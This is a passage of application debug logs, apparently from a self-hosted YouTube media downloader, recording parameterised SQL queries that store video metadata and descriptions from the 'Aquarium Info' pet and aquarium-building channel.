axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Chicken Jockey\" so I notice you 🐓🤠\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank!\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Minecraft for a Real Axolotl!", "3Jht0AF-4TA", "https://www.youtube.com/watch?v=3Jht0AF-4TA", 32, 1063, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e112100 - I Built Minecraft for a Real Axolotl!.mkv", false, ~U[2025-11-21 21:25:57Z]] 11:13:24.346 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.346 [debug] QUERY OK source="media_items" db=0.3ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-01 18:02:00Z], 32] 11:13:24.348 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "c33aa712-7885-450f-a6be-ac9f08286a5f", "zndpck7p5wo", false, "https://www.youtube.com/watch?v=zndpck7p5wo", 32, [], 836, false, 7, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, false, 98, ~U[2025-10-01 18:02:00Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I turned my bed into a HUGE ant farm!\n\nJoin Revolut and get $20 here https://get.revolut.com/z4lF/AquariumInfo! Offer expires 6 months from 09/30/2025. Exclusions apply. $20 bonus paid by Revolut subject to the terms and conditions found here: https://www.revolut.com/en-US/legal/partner-sign-up-bonus/ \n\nIn this video, we simulate an ant colony over 100 days and turn my bed into an ant farm! We start with a single queen ant and grow her colony to over 1,000 ants. Throughout this episode, the ant colony faces many challenges, from spawning new life, suffering a great loss and even fighting off a rare predator.\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the epic ant farm\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nWhile Jamie and Joelle turn a bed into an ant farm, Outdoor Adam takes to the wilderness to track down an ant colony in real life. Adam’s mission is to learn about ants in the wild so the team can create the perfect ant ecosystem in Jamie’s bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom that's filled with ants! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, dream beds, exotic pets, ant colonies, simulating ant colonies, wildlife rescue, DIY projects and creating the perfect ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Scout is a Hero\" so I notice you 🦸\u200D♀️\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Bait Shop Crab as a Pet…\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a GIANT Ant Farm...", "zndpck7p5wo", "https://www.youtube.com/watch?v=zndpck7p5wo", 32, 836, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e100100 - I Turned my Bed into a GIANT Ant Farm....mkv", false, ~U[2025-10-01 18:02:00Z]] 11:13:24.349 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.349 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-31 21:48:14Z], 32] 11:13:24.351 [debug] QUERY OK source="media_items" db=1.4ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "35f3a7f3-dd6b-4edc-93c7-7539e7bff566", "zrKIOAlWW9g", false, "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, [], 681, false, 8, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, false, 98, ~U[2025-08-31 21:48:14Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "Meet Nibbles, a bait store crab I am keeping as a pet! \n\nGet a Narwal Flow robot vacuum today using my code AQUAFLOW28. You’ll receive $300 off in the USA (https://bit.ly/4lpjryW) or $350 off in Canada (https://bit.ly/4oyLoY3)!\n\nIn this video, we rescue a blue crab from a bait shop and name her Nibbles. She was the last living crab in the live bait section at the bait store and I knew I had to save her. Usually, these bait store blue crabs are used as live bait for fishing. I knew I had to save this pet and build her a dream fish tank. I recently rescued Pickles, my grocery store king crab, and Mochi, my grocery store lobster, and built them a sunken Titanic, Bikini Bottom and a secret bunker, so I had to do something epic for my new pet bait store crab, Nibbles!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a bait store crab named Nibbles from becoming live bait for a fish. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her, complete with a 3D printed cave system. \n\nWatch until the end to see what Nibbles thinks of her new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, live bait stores, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this bait store rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"RIP Noodle\" so I notice you 👼 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Bait Shop Crab as a Pet...", "zrKIOAlWW9g", "https://www.youtube.com/watch?v=zrKIOAlWW9g", 32, 681, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e083100 - Raising a Bait Shop Crab as a Pet....mkv", false, ~U[2025-08-31 21:48:14Z]] 11:13:24.352 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.352 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 16:37:20Z], 32] 11:13:24.354 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "7074477d-6a30-46b1-ab60-f942d1809768", "Nndy5il35l4", false, "https://www.youtube.com/watch?v=Nndy5il35l4", 32, [], 1022, false, 9, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, false, 98, ~U[2025-08-09 16:37:20Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I built a HUGE ecosystem in my bedroom! Book your next trip today with Klook on desktop or via the mobile app with my code AQUARIUMINFO for a 10% discount! Thanks Klook for sponsoring this video 🥰\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nA special thank you to our favorite sushi chefs at Sushi Ko Honten in Koto City, Tokyo for a 5 star sushi omakase experience. We couldn’t have done it without you guys!\n\nSUBSCRIBE for a chance at the PS5\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis is our longest episode yet - grab your popcorn! Watch as me and Joelle transform Adam’s bedroom into a DREAM $10,000 bedroom. This bedroom makeover captures an insane ecosystem transformation and I can’t wait for you to see the end result. It’s my dream bedroom transformation! Our ecosystem is teeming with life, from tiny toads, creepy bugs, live fish to deadly predators like the crested gecko. I’ve finally achieved my childhood dream of an extreme bedroom makeover!\n\nIf you have any comments, suggestions or questions for this ecosystem transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Go Sweetie!\" so I notice you 🦎\n\nIf you love fish and fish tanks check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- Built a Maze for my Turtle to Escape… \n- I Built SpongeBob in a Fish Tank!\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- Did Wednesday Addams Lie?\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Bedroom Into a Jungle!", "Nndy5il35l4", "https://www.youtube.com/watch?v=Nndy5il35l4", 32, 1022, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e080900 - I Turned a Bedroom Into a Jungle!.mkv", false, ~U[2025-08-09 16:37:20Z]] 11:13:24.355 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:24.355 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-19 13:52:42Z], 32] 11:13:24.357 [debug] QUERY OK source="media_items" db=1.5ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Bikini Bottom in a Fish Tank!", "6a8d2d82-313a-486e-8a9f-0cc5535eff07", "WxUbc_UbDIk", false, "https://www.youtube.com/watch?v=WxUbc_UbDIk", 32, [], 695, false, 10, "/downloads/shows/Aquarium Info/Season 2025/s2025e071900 - I Built Bikini Bottom in a Fish Tank!.mkv", false, false, 98, ~U[2025-07-19 13:52:42Z], ~U[2026-06-03 15:13:24Z], ~U[2026-06-03 15:13:24Z], "I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, 